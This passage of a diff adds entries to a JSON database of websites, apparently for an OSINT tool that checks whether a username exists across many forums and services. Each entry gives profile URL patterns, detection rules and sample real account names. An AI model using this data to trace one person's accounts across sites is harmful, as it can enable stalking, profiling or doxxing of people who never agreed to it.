"noonewouldeverusethis7" + }, + "cs-strikez.org": { + "tags": [ + "by", + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 380907, + "urlMain": "http://cs-strikez.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cyber.harvard.edu": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 575, + "urlMain": "https://cyber.harvard.edu", + "url": "https://cyber.harvard.edu/people/{username}", + "usernameClaimed": "dboyd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "d3": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 45834, + "urlMain": "https://d3.ru/", + "url": "https://d3.ru/user/{username}/posts", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dailykos": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6815, + "urlMain": "https://www.dailykos.com", + "url": "https://www.dailykos.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "delta72.at.ua": { + "engine": "uCoz", + "alexaRank": 3634377, + "urlMain": "http://delta72.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "devRant": { + "tags": [ + "coding", + "in" + ], + "checkType": "response_url", + "alexaRank": 113177, + "urlMain": "https://devrant.com/", + "url": "https://devrant.com/users/{username}", + "errorUrl": "https://devrant.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "devushka": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 1755762, + "urlMain": "https://devushka.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "diecastcrazy.com": { + "engine": "XenForo", + "alexaRank": 1796471, + "urlMain": "http://diecastcrazy.com/", + "usernameClaimed": "texas3", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "auto", + "forum" + ] + }, + "dieselmastera.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1315813, + "urlMain": "http://dieselmastera.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dimitrov.ucoz.ua": { + "engine": "uCoz", + "alexaRank": 9464803, + "urlMain": "http://dimitrov.ucoz.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "discourse.haskell.org": { + "tags": [ + "coding", + "forum", + "in", + "za" + ], + "engine": "Discourse", + "alexaRank": 64969, + "urlMain": "https://discourse.haskell.org", + "usernameClaimed": "philipgaudreau", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "diz-cs.ru": { + "engine": "uCoz", + "alexaRank": 5886610, + "urlMain": "http://diz-cs.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dnbforum.com": { + "engine": "XenForo", + "alexaRank": 4411168, + "urlMain": "http://dnbforum.com/", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "doctissimo": { + "tags": [ + "fr" + ], + "checkType": "status_code", + "alexaRank": 6721, + "urlMain": "https://club.doctissimo.fr", + "url": "https://club.doctissimo.fr/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "donate.stream": { + "tags": [ + "finance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 373930, + "urlMain": "https://donate.stream/", + "url": "https://donate.stream/{username}", + "usernameClaimed": "moses91", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dpils-scooter.ucoz.lv": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 408770, + "urlMain": "http://dpils-scooter.ucoz.lv", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "drawmixpaint": { + "checkType": "status_code", + "alexaRank": 884576, + "urlMain": "https://forum.drawmixpaint.com", + "url": "https://forum.drawmixpaint.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "disabled": true + }, + "dremel.do.am": { + "engine": "uCoz", + "urlMain": "http://dremel.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "drive2": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://www.drive2.ru/", + "url": "https://www.drive2.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1558 + }, + "dvocu.ru": { + "engine": "uCoz", + "alexaRank": 8131750, + "urlMain": "http://dvocu.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dwg": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 45931, + "urlMain": "https://forum.dwg.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eBaumsWorld": { + "tags": [ + "news" + ], + "checkType": "status_code", + "alexaRank": 9556, + "urlMain": "https://www.ebaumsworld.com/", + "url": "https://www.ebaumsworld.com/user/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eGPU": { + "tags": [ + "forum", + "jp", + "tech", + "tw", + "us" + ], + "checkType": "status_code", + "alexaRank": 105020, + "urlMain": "https://egpu.io/", + "url": "https://egpu.io/forums/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "easyen": { + "tags": [ + "ru" + ], + "presenseStrs": [ + "prof_12w_pr" + ], + "engine": "uCoz", + "alexaRank": 11663, + "urlMain": "https://easyen.ru", + "usernameClaimed": "wd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "easyjob.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://easyjob.ucoz.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "egida.by": { + "tags": [ + "by" + ], + "engine": "uCoz", + "alexaRank": 421582, + "urlMain": "http://egida.by", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "eintracht": { + "tags": [ + "tr", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 416094, + "urlMain": "https://eintracht.de", + "url": "https://community.eintracht.de/fans/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ekzoticsad.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://ekzoticsad.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "elektrik-avto.ru": { + "engine": "uCoz", + "alexaRank": 2524316, + "urlMain": "http://elektrik-avto.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "empires.su": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://empires.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "espero-club.ru": { + "engine": "uCoz", + "urlMain": "http://espero-club.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "excelworld.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 283903, + "urlMain": "http://excelworld.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fablero.ucoz.ru": { + "tags": [ + "in" + ], + "engine": "uCoz", + "alexaRank": 926078, + "urlMain": "http://fablero.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fanat1k": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 84823, + "urlMain": "https://forum.fanat1k.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fanficslandia.com": { + "engine": "XenForo", + "alexaRank": 9313550, + "urlMain": "https://fanficslandia.com/index.php", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "fire-team.clan.su": { + "engine": "uCoz", + "urlMain": "http://fire-team.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "firesofheaven.org": { + "engine": "XenForo", + "alexaRank": 904078, + "urlMain": "https://www.firesofheaven.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "fixya": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 4826, + "urlMain": "https://www.fixya.com", + "url": "https://www.fixya.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fl": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 62704, + "urlMain": "https://www.fl.ru/", + "url": "https://www.fl.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "fobia.at.ua": { + "engine": "uCoz", + "urlMain": "http://fobia.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "footballindex": { + "tags": [ + "forum", + "gb", + "in", + "sg", + "us" + ], + "checkType": "status_code", + "alexaRank": 960980, + "urlMain": "https://forums.footballindex.co.uk", + "url": "https://forums.footballindex.co.uk/user/{username}", + "usernameClaimed": "misto", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "forex-trader.do.am": { + "engine": "uCoz", + "urlMain": "http://forex-trader.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum-b.ru": { + "disabled": true, + "tags": [ + "forum", + "freelance", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1591283, + "urlMain": "https://forum-b.ru", + "url": "https://forum-b.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "pirat4761", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum-mil.ru": { + "engine": "uCoz", + "alexaRank": 7895206, + "urlMain": "http://forum-mil.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "forum-ssc.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://forum-ssc.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "forum.cxem.net": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "errors": { + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430": "Too many reqeusts" + }, + "checkType": "message", + "absenceStrs": [ + "\u041d\u0430\u0439\u0434\u0435\u043d\u043e 0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + ], + "alexaRank": 45469, + "urlMain": "https://forum.cxem.net/", + "url": "https://forum.cxem.net/index.php?/search/&q={username}&quick=1&type=core_members", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.hr": { + "tags": [ + "forum", + "hr" + ], + "engine": "vBulletin", + "alexaRank": 47440, + "urlMain": "http://www.forum.hr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.nameberry.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 18495, + "urlMain": "https://forum.nameberry.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.postupim.ru": { + "tags": [ + "education", + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 1026513, + "urlMain": "http://forum.postupim.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.ubuntu-it.org": { + "tags": [ + "ch", + "forum", + "in", + "it" + ], + "engine": "phpBB", + "alexaRank": 120956, + "urlMain": "https://forum.ubuntu-it.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forum.ykt.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "response_url", + "alexaRank": 20164, + "urlMain": "https://forum.ykt.ru", + "url": "https://forum.ykt.ru/viewprofile.jsp?forum_id=11&user={username}", + "usernameClaimed": "NINJA", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.battlefield.com": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 30405, + "urlMain": "https://forums.battlefield.com", + "url": "https://forums.battlefield.com/en-us/profile/{username}", + "usernameClaimed": "NLBartmaN", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.bulbagarden.net": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 4189, + "urlMain": "http://forums.bulbagarden.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.digitalpoint.com": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 17020, + "urlMain": "https://forums.digitalpoint.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.docker.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 2797, + "urlMain": "https://forums.docker.com", + "usernameClaimed": "dafritz84", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.drom.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + ], + "alexaRank": 1272, + "urlMain": "https://www.forumsdrom.ru/", + "url": "https://www.forumsdrom.ru/member.php?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.ea.com": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 610, + "urlMain": "https://forums.ea.com", + "url": "https://forums.ea.com/en/nhl/profile/discussions/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.eagle.ru": { + "disabled": true, + "tags": [ + "ca", + "forum", + "gaming", + "gb", + "in", + "us" + ], + "engine": "vBulletin", + "alexaRank": 114146, + "urlMain": "https://forums.eagle.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.opera.com": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 1523, + "urlMain": "https://forums.opera.com/", + "url": "https://forums.opera.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.overclockers.co.uk": { + "tags": [ + "forum", + "gb", + "uk" + ], + "disabled": true, + "engine": "XenForo", + "alexaRank": 17632, + "urlMain": "https://forums.overclockers.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.sailboatowners.com": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 182197, + "urlMain": "http://forums.sailboatowners.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.serebii.net": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 6195, + "urlMain": "https://forums.serebii.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "forums.wrestlezone.com": { + "engine": "XenForo", + "alexaRank": 926689, + "urlMain": "http://forums.wrestlezone.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "foumds.universaldashboard.io": { + "engine": "Discourse", + "alexaRank": 1166714, + "urlMain": "https://forums.universaldashboard.io/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "free-pass.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2267468, + "urlMain": "http://free-pass.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codeby.net": { + "tags": [ + "forum", + "hacking", + "ru" + ], + "engine": "XenForo", + "alexaRank": 174592, + "urlMain": "https://codeby.net", + "usernameClaimed": "pragmalion", + "disabled": true, + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "freelance.codeby.net": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430!" + ], + "alexaRank": 174592, + "urlMain": "https://freelance.codeby.net", + "url": "https://freelance.codeby.net/user/{username}/portfolio/", + "usernameClaimed": "agnerfist", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "funcom": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 133344, + "urlMain": "https://forums.funcom.com", + "usernameClaimed": "everqu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "funny-games.biz": { + "disabled": true, + "tags": [ + "forum", + "lt", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 107518, + "urlMain": "https://forums.funny-games.biz", + "url": "https://forums.funny-games.biz/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "garminych": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://forum.garminych.ru/", + "url": "http://forum.garminych.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Corado", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gcup.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 303192, + "urlMain": "http://gcup.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gebirgs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gebirgs.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby", + "ru" + ] + }, + "gentoo": { + "tags": [ + "fi", + "forum", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "title>Gentoo Forums :: " + ], + "alexaRank": 60225, + "urlMain": "https://forums.gentoo.org", + "url": "https://forums.gentoo.org/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "geocaching": { + "tags": [ + "de", + "hobby", + "us" + ], + "checkType": "status_code", + "alexaRank": 17871, + "urlMain": "https://www.geocaching.com/", + "url": "https://www.geocaching.com/profile/?u={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "getmyuni": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Error 404" + ], + "alexaRank": 8345, + "urlMain": "https://getmyuni.com/", + "url": "https://www.getmyuni.com/user/{username}", + "usernameClaimed": "Subeesh.S30b0", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "gfycat": { + "tags": [ + "photo", + "sharing" + ], + "checkType": "status_code", + "alexaRank": 2166, + "urlMain": "https://gfycat.com/", + "url": "https://gfycat.com/@{username}", + "usernameClaimed": "Test", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "gitarizm": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 7680768, + "urlMain": "https://forum.gitarizm.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gloria.tv": { + "tags": [ + "ar", + "mx", + "pl", + "sk", + "us" + ], + "checkType": "status_code", + "alexaRank": 38090, + "urlMain": "https://gloria.tv", + "url": "https://gloria.tv/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "goha": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 57862, + "urlMain": "https://forums.goha.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Habr": { + "tags": [ + "blog", + "discussion", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://habr.com/", + "url": "https://habr.com/ru/users/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hackings.ru": { + "engine": "uCoz", + "urlMain": "http://hackings.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackster": { + "tags": [ + "in", + "tech" + ], + "checkType": "status_code", + "alexaRank": 21573, + "urlMain": "https://www.hackster.io", + "url": "https://www.hackster.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hikvision.msk.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1279617, + "urlMain": "http://hikvision.msk.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hiveos.farm": { + "tags": [ + "at", + "cz", + "forum", + "ru", + "us" + ], + "engine": "Discourse", + "alexaRank": 6288, + "urlMain": "https://forum.hiveos.farm", + "usernameClaimed": "halogenius", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hochu": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "phpBB", + "alexaRank": 50460, + "urlMain": "http://forum.hochu.ua", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "hogwarts.nz": { + "engine": "XenForo", + "alexaRank": 7856081, + "urlMain": "https://hogwarts.nz/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "hondaswap.com": { + "engine": "XenForo", + "alexaRank": 1387532, + "urlMain": "http://hondaswap.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "hunting": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 121760, + "urlMain": "https://www.hunting.ru/forum/", + "url": "https://www.hunting.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "iPhoneForums.net": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1961168, + "urlMain": "https://www.iphoneforums.net", + "url": "https://www.iphoneforums.net/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "iRecommend.RU": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2482, + "urlMain": "https://irecommend.ru/", + "url": "https://irecommend.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "igrarena": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 2979975, + "urlMain": "https://forum.igrarena.ru", + "url": "https://forum.igrarena.ru/members/?username={username}", + "usernameClaimed": "forester", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "igromania": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 21104, + "urlMain": "http://forum.igromania.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "imgsrc.ru": { + "tags": [ + "be", + "de", + "es", + "in", + "pt", + "ru", + "us" + ], + "checkType": "response_url", + "alexaRank": 26075, + "urlMain": "https://imgsrc.ru/", + "url": "https://imgsrc.ru/main/user.php?user={username}", + "errorUrl": "https://imgsrc.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "induste.com": { + "tags": [ + "forum", + "ma", + "re" + ], + "engine": "XenForo", + "alexaRank": 390003, + "urlMain": "https://induste.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "infopps.moy.su": { + "engine": "uCoz", + "urlMain": "http://infopps.moy.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "interpals": { + "tags": [ + "dating" + ], + "checkType": "message", + "absenceStrs": [ + "The requested user does not exist or is inactive" + ], + "alexaRank": 14174, + "urlMain": "https://www.interpals.net/", + "url": "https://www.interpals.net/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noneownsthisusername" + }, + "iXBT": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u043e\u0441\u0442\u0438\u0442\u0435, \u043d\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a" + ], + "alexaRank": 5024, + "urlMain": "https://forum.ixbt.com", + "url": "https://forum.ixbt.com/users.cgi?id=info:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "izmailonline.com": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 1097031, + "urlMain": "http://izmailonline.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "izobil.ru": { + "engine": "uCoz", + "urlMain": "http://izobil.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "jeuxvideo": { + "tags": [ + "fr", + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "Messages Forums" + ], + "absenceStrs": [ + "Vous \u00eates" + ], + "alexaRank": 2436, + "urlMain": "http://www.jeuxvideo.com", + "url": "http://www.jeuxvideo.com/profil/{username}?mode=infos", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "jog.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://jog.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5070099 + }, + "juce": { + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 356973, + "urlMain": "https://forum.juce.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kali.org.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2028167, + "urlMain": "https://kali.org.ru", + "url": "https://kali.org.ru/profile/{username}", + "usernameClaimed": "Drozd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kiabongo.info": { + "engine": "uCoz", + "alexaRank": 6066870, + "urlMain": "http://kiabongo.info", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kofi": { + "tags": [ + "freelance", + "in", + "ru", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Make income from your art!", + "https://storage.ko-fi.com/cdn/og.png" + ], + "alexaRank": 5421, + "urlMain": "https://ko-fi.com", + "url": "https://ko-fi.com/{username}", + "usernameClaimed": "yeahkenny", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "komsomolskiy.at.ua": { + "engine": "uCoz", + "urlMain": "http://komsomolskiy.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kursk46.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kursk46.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "kursknet": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "urlMain": "https://forum.kursknet.ru", + "usernameClaimed": "Naffy", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11566418 + }, + "kwork": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 7462, + "urlMain": "https://www.kwork.ru/", + "url": "https://kwork.ru/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "l2-best.clan.su": { + "engine": "uCoz", + "urlMain": "http://l2-best.clan.su", 